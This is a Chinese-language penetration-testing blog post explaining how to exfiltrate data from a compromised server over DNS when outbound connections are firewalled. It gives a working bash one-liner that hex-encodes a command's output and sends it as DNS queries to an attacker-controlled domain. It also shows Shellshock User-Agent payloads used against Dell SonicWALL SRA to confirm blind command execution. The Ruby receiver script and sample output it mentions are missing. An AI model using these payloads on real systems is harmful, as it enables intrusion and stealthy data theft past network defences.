在滲透測試過程中,拿到服務器權限之後從服務器下載數據是一件比較費勁的事情,因為服務器一般都有防火牆在前面擋著。防火牆一般都會禁止服務器對外 建立連接,這種情況下使用DNS來下載數據是一種行之有效的方法,因為防火牆一般不會禁止對外的DNS查詢,本文中作者將根據一個具體的實例來講解這個方 法。
原理簡述
其實已經有一些方法可以搞定這件事情,來將服務器上的數據拖出來,但是存在的問題是,這些既有的方法都需要借助一些Linux上的軟件,而有時候並 不是所有環境中都裝了這些軟件。比如我常用A軟件來拖數據,但是如果遇到一台服務器上沒有這軟件,就白瞎了。所以,本文中使用BASH本身的功能來達到這 一目的——通用、好用。
下面的代碼就是 POC:
LINE=`id`; domain="yourdomain.com";while read -r -n 1 char; do var+=$(printf "%X" \'$char\');done<<<$LINE;b=0;e=60;l=${#var}; while [ $b -lt $l ];do >& /dev/udp/$RANDOM.$b."${var:$b:$e}". $domain/53 0>&1;let b=b+60;done;>& /dev/udp/$RANDOM.theend.$domain/53 0>&1;unset var;unset var2
將上面的 domain 改為你自己的 DNS 服務器地址,LINE 是要執行的系統命令,比如上例中是查看當前id,domain指向你自己的server 地址,用來接受數據。在你自己的 server 上運行下面這段 ruby 腳本:
dns.rb
這段腳本用來獲取數據,比如執行下面這段腳本:
在自己的機器上接受到的數據如下:
顯然這是一個行之有效的方法,但是,如果你遇到什麼問題,可以直接找[原博]跟作者交流。
一個實際案例
之前我發現Dell SonicWALL Secure Remote Access (SRA)系列軟件有Shellshock漏洞,當在http header中攜帶下面這樣的ua ,server返回的是200 :
User-agent: () { :; }; /bin/ls
但是如果提交包含如下User-agent的請求,server端返回 500 錯誤:
User-agent: () { :; }; /bin/fake
當然也可以用下面的User-agent的請求確定,這套軟件確實有漏洞:
User-agent: () { :; }; /bin/sleep 60
現在問題來了,在這種情況下,我只能執行命令,卻無法得到回顯,我嘗試了所有對外的鏈接,都被 server 禁止了,只有 DNS 可以用,可以用 telnet 來發起 DNS 請求。在這種情況下,上面我給出的 POC 就變得很有用了,並且非常隱蔽。